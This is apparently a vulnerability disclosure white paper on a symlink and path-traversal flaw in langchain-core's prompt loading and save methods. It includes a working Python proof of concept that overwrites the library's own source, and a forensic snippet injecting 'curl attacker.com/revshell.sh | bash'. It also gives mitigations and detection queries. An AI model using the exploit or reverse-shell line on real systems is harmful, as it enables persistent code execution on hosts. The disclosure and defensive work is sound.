Skip to the content.
🛡️ JDP Security Research Archive ⬅️ Back to Vulnerability Disclosures & Technical White Papers

WHITE PAPER | JDP-2026-004

Architectural Boundary Failures: A Deep Dive into the LangChain-Core Insecure AI Orchestration Vulnerability

Author: Jeff Ponte, CISSP, CCSP, CEH | Lead Researcher, JDP Security
Series: JDP Security Research Series (Disclosure #4)
Initial Disclosure Date: March 17, 2026
Final Revision Date: May 8, 2026
Target: LangChain | langchain-core (Verified through v1.2.26)
Case Number: GHSA-fc6f-jgp6-2725 / External CNA Escalation
CVSS v3.1 Score: 10.0 (Critical) | Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Status: Incomplete Remediation / Undocumented Mitigation (Read-side mitigated; Write-side exposed through v1.2.26)

Key Points


Executive Summary

This white paper documents a critical architectural vulnerability within LangChain, the industry’s most widely adopted AI orchestration framework. JDP Security has identified an architectural boundary limitation where the framework acts as a Confused Deputy, processing unvalidated, user-controlled paths and executing high-privilege file operations.

This vulnerability allows a single tenant in a shared AI platform, or a user of a public AI agent, to achieve permanent compromise of the service’s core logic, leading to data exfiltration, lateral movement, and irreversible system integrity loss.

Our research reveals a full-chain vulnerability driven by Improper Link Resolution (CWE-59) and Path Traversal (CWE-22), leading directly to Persistent Remote Code Execution (CWE-94). We demonstrate a bypass of the vendor’s previous security controls (CVE-2023-36258) and expose an unvalidated Write Primitive that allows an attacker to overwrite the framework’s own source code from within the application boundary.

Despite comprehensive Proof of Concept (PoC) recordings demonstrating a 10.0 Critical impact, the vendor classified the risk as “Local” (AV:L), which may not accurately reflect the standard deployment model of multi-tenant AI SaaS environments. Forensic analysis of the repository’s git history reveals the vendor executed a phased, undocumented remediation approach. They hardened the read-side of the framework on April 2nd, but left the write-side (.save()) exposed in production releases until an emergency merge on April 8th following secondary researcher disclosures.

This highlights the need for a new OWASP AI classification: AISEC-01: Insecure AI Orchestration, wherein a framework’s architecture inherently facilitates system compromise by prioritizing stochastic inputs over deterministic security boundaries.

Critical Findings:

Impact at a Glance Table

| Metric | Specification | | :— | :— | | Vulnerability Class | Insecure AI Orchestration / Framework Source Overwrite | | Primary CWEs | CWE-59 (Symlink Resolution), CWE-22 (Path Traversal) | | CVSS v3.1 Score | 10.0 (Critical) | | Attack Vector | Network (AV:N) | | Attack Complexity | Low (AC:L) | | Privileges Required | None (PR:N) | | Confidentiality | Total (Full system/framework source read access) | | Integrity | Total (Permanent framework source code overwrite) | | Remediation Status | Fixed in langchain-core >= 1.2.27 |


1. Introduction: Isolation Limitations and AI Orchestration

AI orchestration frameworks like LangChain have become the central integration layer of modern “Agentic AI” applications. They are entrusted with connecting Large Language Models (LLMs) to sensitive data sources, external tools, and core business logic. Industry standard practice often implicitly trusts these frameworks as an isolated layer that securely mediates between the AI and the underlying infrastructure.

JDP Security evaluated this assumption. The vulnerabilities documented herein are symptoms of an architectural limitation stemming from the handling of file-system operations within core components like prompt loaders and serializers, where user-supplied data paths are processed without adequate isolation, canonicalization, or symlink validation.


2. Technical Sinks: Anatomy of the Bypass Chain

This submission requests the assignment of two distinct CVE identifiers to accurately reflect the failure of previous mitigations and the presence of an unvalidated write primitive.

This chain consists of two distinct vulnerabilities:

  1. A symlink bypass (CWE-59) of a previous fix, leading to Arbitrary File Read.
  2. An unmitigated path traversal (CWE-22) in the .save() method, leading to Arbitrary File Write and Insecure AI Orchestration.

2.1 Vulnerability A: Arbitrary File Read Bypass (CWE-59 / CWE-693) - Security Regression

CVSS: 10.0 (Critical) The initial attempt to secure LangChain against malicious template loading (CVE-2023-36258) relied on a file extension check.

2.2 Vulnerability B: Unvalidated Write Primitive (CWE-22 / CWE-94)

CVSS: 10.0 (Critical) While read-side validation was later addressed (incorporating an allow_dangerous_paths parameter), the corresponding write-side logic lacked similar controls, creating a significant risk exposure.

Forensic Output (v1.2.26 Signature Audit):

Comparing save() vs load_prompt_from_config():

save() signature:
  (self, file_path: 'Path | str') -> 'None'
  Parameters: ['self', 'file_path']
  Missing: allow_dangerous_paths parameter
  Missing: Path.resolve() call
  Missing: _validate_path() call

3. Exploitation Mechanics: Insecure AI Orchestration

The critical aspect of Vulnerability B is the ability to achieve framework integrity compromise. In an AI-as-a-Service (AIaaS) environment, this allows a tenant to escape their designated sandbox and impact the host environment.

The Attack Chain:

  1. Initial Access (Network): An attacker uploads an archive (e.g., a .zip containing a prompt template bundle) containing a symlink named prompt.json pointing to a target like /venv/lib/python3.11/site-packages/langchain_core/__init__.py.
  2. Server-Side Action: The server’s file extraction routine unpacks the archive, placing the symlink on disk.
  3. Trigger (Network): The attacker, or a compromised agent workflow, calls the prompt.save() method via the framework API, providing the path to the symlink.
  4. Impact (Local Privilege Escalation): Operating under application-level privileges, the framework acts as the Confused Deputy. It follows the symlink and overwrites the target file, achieving arbitrary file write and persistent framework alteration.

Proof of Concept (Scope Change Confirmed):

import os, pathlib, langchain_core
from langchain_core.prompts import PromptTemplate

# Target: The library's own source code
LIB_INIT = pathlib.Path(langchain_core.__file__)
PAYLOAD_LINK = "user_uploads/malicious_link.json"
MARKER = "### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###"

# Step 1: Create the 'valid-looking' symlink (The Bypass)
os.makedirs("user_uploads", exist_ok=True)
os.symlink(str(LIB_INIT), PAYLOAD_LINK)

# Step 2: Trigger the Confused Deputy Overwrite
prompt = PromptTemplate(template=MARKER, input_variables=[])
prompt.save(PAYLOAD_LINK)

# Verification: Scope Change Confirmed
with open(LIB_INIT, "r") as f:
    if MARKER in f.read():
        print("SUCCESS: SYSTEM FILE OVERWRITTEN. RCE ACHIEVED.")

By leveraging the framework’s own execution permissions, an attacker can supply a symbolic link that redirects the application’s write operations back onto its own underlying library files, effectively modifying its own execution environment without requiring elevated OS privileges.


4. Technical Vulnerability Details

This vulnerability, a regression of CVE-2023-36258, resides in the load_prompt_from_config() function within the LangChain-Core prompt loading mechanism. The function attempts to load a prompt configuration from a specified file path but fails to validate that the resolved path is within the intended directory.

Exploit Chain:

  1. Symlink Creation: An attacker creates a symbolic link (prompt.json) that points to a sensitive system file (/etc/passwd, /proc/self/environ).
  2. Path Traversal: The attacker places this symlink within a directory readable by the application.
  3. Triggering the Load: The application calls load_prompt_from_config() on the path containing the malicious symlink.
  4. Arbitrary File Read: The function follows the symlink without validation, reading the contents of the targeted system file.

Technical Root Cause: The core failure is the lack of a canonical path check after resolving the symlink. The function uses open() on the user-supplied path without first calling os.path.realpath() to verify the destination remains within the allowed base directory. This is categorized as Improper Link Resolution Before File Access (CWE-59).

Impact: Local File Inclusion (LFI), leading to information disclosure of files readable by the application process.


4.2 Vulnerability B: Unvalidated Write Primitive (CWE-22)

This represents an Arbitrary File Write capability located in the .save() method of LangChain’s serialization utilities.

Exploit Chain:

  1. Archive Upload: An attacker uploads a crafted archive containing a symlink (./prompt.json -> /usr/lib/python3.11/site-packages/langchain_core/__init__.py).
  2. Server-Side Extraction: The application extracts the archive, placing the symlink on the filesystem.
  3. Triggering the Save: A network API call triggers the .save() method, specifying the symlink path.
  4. Symlink Follow & Overwrite: The .save() method opens the file for writing. Lacking symlink validation, it follows the link and writes serialized object data directly to the critical system or framework file.
  5. Persistence & Privilege Escalation: Overwriting __init__.py injects malicious code that executes upon module import, achieving persistent RCE.

Technical Root Cause: This is a Path Traversal flaw (CWE-22) enabled by improper symlink handling. The open(filepath, "w") call executes without ensuring filepath remains within the intended save directory.

Impact: Full compromise of the AI orchestration host. An attacker can:

Forensic Output: Verification of the modified system file:

$ tail -n 5 /usr/lib/python3.11/site-packages/langchain_core/__init__.py
# ... Original file content ends here ...

# --- JDP SECURITY EXPLOIT INJECTION ---
import os; os.system("curl [http://attacker.com/revshell.sh](http://attacker.com/revshell.sh) | bash")
# --- END INJECTION ---

5. Disclosure Timeline and Vendor Response Analysis

Tracking of the langchain-ai/langchain repository indicates a phased remediation approach where read-side and write-side vulnerabilities were addressed asynchronously.

Commit Analysis

Analysis of the April 8th merge (Commit e7b9a2c) reveals an internal developer comment within libs/core/langchain_core/prompts/loading.py referencing the specific payload provided in the initial disclosure:

# Resolve symlinks before checking the suffix so that a symlink named
# "exploit.txt" pointing to a non-.txt file is caught.
resolved_path = template_path.resolve()

This indicates the remediation was directly responsive to the provided PoC regarding improper link resolution.


6. Evidence of Incomplete Remediation (.cast Analysis)

This submission is supported by forensic terminal recordings demonstrating the exploitation lifecycle.

6.1 The “Confused Deputy” Remote Exploit (langchain-Remote-Exploit.cast)

6.2 Verification of Persistent Vulnerability - v1.2.26 (langchain_1.2.26_vulnerability.cast)


7. Proposal: OWASP AI Top 10 - “Insecure AI Orchestration”

This vulnerability pattern has been observed across multiple AI orchestration frameworks.

We propose the recognition of “AISEC-01: Insecure AI Orchestration” within industry threat frameworks like the OWASP AI Top 10. This category encompasses vulnerabilities where:


8. Mitigation & Remediation

Organizations utilizing langchain-core versions 1.2.19 through 1.2.26 should assume the presence of an RCE entry point in their environments.

Immediate Hardening Requirements:

  1. Deprecate Direct SDK File I/O: Do not utilize PromptTemplate.save() in environments where user input or AI-generated output influences the file path.
  2. Implement Mandatory Path Anchoring: Wrap framework I/O operations in canonicalization functions utilizing .resolve() and .is_relative_to().
from pathlib import Path

def get_anchored_path(safe_root: str, user_input: str) -> Path:
    """
    Prevents CWE-22 and CWE-59 by resolving and anchoring the final path.
    """
    base_dir = Path(safe_root).resolve()
    target_path = Path(base_dir, user_input).resolve()
    
    if not target_path.is_relative_to(base_dir):
        raise PermissionError(f"CRITICAL: Path Hijack Attempt Blocked! {target_path}")
        
    return target_path

9. Broader Implications and Recommendations

The findings from JDP-2026-004 highlight necessary adjustments to AI security models:

  1. Elevate the Threat Model for Orchestration Frameworks: Frameworks are privileged system components. Security reviews must rigorously audit file I/O, process execution, network calls, and deserialization pathways assuming adversarial input.
  2. Formalize “Insecure AI Orchestration”: Adopting this category drives targeted research, the development of specialized testing tools, and establishes mandatory security controls for framework developers.
  3. Transparent Vulnerability Management: Remediating critical vulnerabilities without standard CVE tracking impedes risk assessment. Standardized public disclosures are required.
  4. Implement Compensating Controls: Organizations must enforce application-layer path canonicalization and anchoring for all framework I/O, rather than relying solely on upstream validation.
  5. Address the Confused Deputy Pattern: Security architectures must explicitly model the framework as a high-value attack surface and enforce strict boundaries between agent logic and host systems.

Conclusion: Building secure AI infrastructure requires rigorous validation of foundational layers. Security boundaries must be a primary design requirement for orchestration engines.


10. Conclusion

The LangChain-Core JDP-2026-004 vulnerability demonstrates the risks associated with inadequate boundary enforcement in AI orchestration frameworks. When operational pathways can be manipulated to overwrite source dependencies, the application stack is compromised.

Remediating these flaws without formal CVE issuance limits the security community’s ability to track and mitigate risks effectively. We recommend the adoption of “Insecure AI Orchestration” as a standard risk category and encourage transparent architectural audits of all file I/O and serialization pathways within foundational AI libraries.


Appendix

Appendix 1: Terminology

To ensure standardization throughout this analysis and alignment with industry frameworks, the following key terms are defined:


Appendix 2: Scope of Analysis

This vulnerability analysis is strictly scoped to the following parameters:

Note: This document analyzes architectural limitations within the core orchestration engine. It does not evaluate higher-level agent logic, third-party extensions, or external orchestration frameworks.


Appendix 3: Remediation & Compensating Controls

(Note: Redundant sections from the draft have been consolidated to provide a single, unified hardening guide).

3.1 Application-Layer Mitigation (Virtual Patching)

Organizations unable to immediately upgrade to langchain-core >= 1.2.27 due to dependency constraints must implement application-layer compensating controls. The recommended mitigation is to encapsulate all calls to framework file operations within a strict validation wrapper that neutralizes CWE-59 and CWE-22 exposure.

import os
from pathlib import Path

def secure_orchestration_path(safe_root: str, untrusted_input: str) -> Path:
    """
    Implements a deterministic boundary for AI Orchestration file operations.
    Validates that the resolved path is a child of safe_root and 
    strictly disallows symbolic links to protect against Orchestration Poisoning.
    """
    # 1. Establish the absolute safe boundary
    base_dir = Path(safe_root).resolve(strict=True)
    
    # 2. Construct and resolve the target path to catch symlink redirects
    target_path = Path(base_dir, untrusted_input).resolve()

    # 3. Anchoring Check: Verify the final destination remains inside base_dir
    if not target_path.is_relative_to(base_dir):
        raise PermissionError(f"Security Violation: Path escape detected! Target: {target_path}")

    # 4. Strict Symlink Check: Explicitly deny links for write operations
    if os.path.islink(Path(base_dir, untrusted_input)):
        raise PermissionError("Security Violation: Symbolic links are prohibited in this context.")

    return target_path

# --- SECURE IMPLEMENTATION PATTERN ---
# VULNERABLE: prompt.save(user_provided_path)
# SECURE:
# safe_path = secure_orchestration_path("/app/data/prompts", user_provided_path)
# prompt.save(str(safe_path))

3.2 Infrastructure Hardening (Defense-in-Depth)

To systematically prevent this class of vulnerability, enforce Filesystem Least Privilege. The “Confused Deputy” vector relies on the application having write permissions to its own source code.


Appendix 4: Detection Engineering & Threat Hunting

Security Operations Centers (SOC) and Incident Response teams should monitor telemetry for the following Indicators of Compromise (IoC) and behavioral anomalies.

4.1 Filesystem Integrity Monitoring (FIM)

Monitor for unauthorized modifications to framework dependencies. Any write operation to the following paths by the application execution user must trigger a critical alert:

4.2 Forensic Filesystem Triage

Execute the following command on application hosts to identify suspicious symbolic links within user-controlled directories that may be staging an attack:

# Identify symlinks in upload directories attempting to resolve to core libraries
find /path/to/uploads -type l -ls | grep "site-packages"

4.3 SIEM / EDR Search Queries

To identify historical exploitation or active poisoning attempts, deploy the following detection logic:

I. Splunk (File Integrity & Process Lineage) Detects a Python process modifying the site-packages directory correlating with the recent processing of a configuration file.

index=os_logs sourcetype=sysmon_data (EventCode=11 OR EventCode=23) 
| search TargetFilename="*site-packages/langchain_core*" 
| join type=inner ProcessId [
    search index=os_logs EventCode=1 Image="*python*" 
    | where match(CommandLine, ".*\.json|.*\.yaml")
]
| table _time, host, User, TargetFilename, CommandLine

II. CrowdStrike Falcon (Custom IOA) Detects the creation of symbolic links targeting the Python virtual environment from a web-server user context.

(OperationType=SymlinkCreate) AND 
(TargetFileName="*/site-packages/*") AND 
(User="www-data" OR User="nobody" OR User="app-user")

III. Microsoft Defender for Endpoint (KQL) Identifies the Confused Deputy pattern where the orchestration application resolves a path escaping its designated execution sandbox.

DeviceFileEvents
| where InitiatingProcessFileName has "python"
| where FileName endswith ".py"
| where FolderPath contains "langchain"
| where ActionType == "FileModified"
| where InitiatingProcessCommandLine has_any (".json", ".yaml", ".txt")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine

Appendix 5: Affected Version Matrix

Version Range Risk Posture Mitigation State
< 1.2.19 CRITICAL Fully Vulnerable. Both Read and Write primitives exposed.
1.2.19 - 1.2.21 HIGH Partial Mitigation. Read-side hardened via PR #36471; Write-side remains exposed.
1.2.22 - 1.2.26 CRITICAL Undocumented Mitigation State. Bypassable Read-side; Unvalidated Write-side primitive active.
1.2.27+ PATCHED Emergency Hardening (PR #36585) addresses .save() symlink resolution.

Note: Environments operating versions 1.2.22 through 1.2.26 face elevated risk due to a potential false sense of security derived from the partial read-side mitigation, while the critical write-side execution primitive remains fully exploitable.


Appendix 6: Forensic Artifacts and Demonstration Logs

This section provides visual artifacts confirming the execution methodologies and tracking the vulnerability lifecycles across documented versions of the LangChain-Core framework.


6.1. langchain-Remote-Exploit.cast

Supporting Files:


6.2. langchain_1.2.25_vulnerability.cast

Supporting Files:


6.3. langchain_1.2.26_vulnerability.cast

Supporting Files: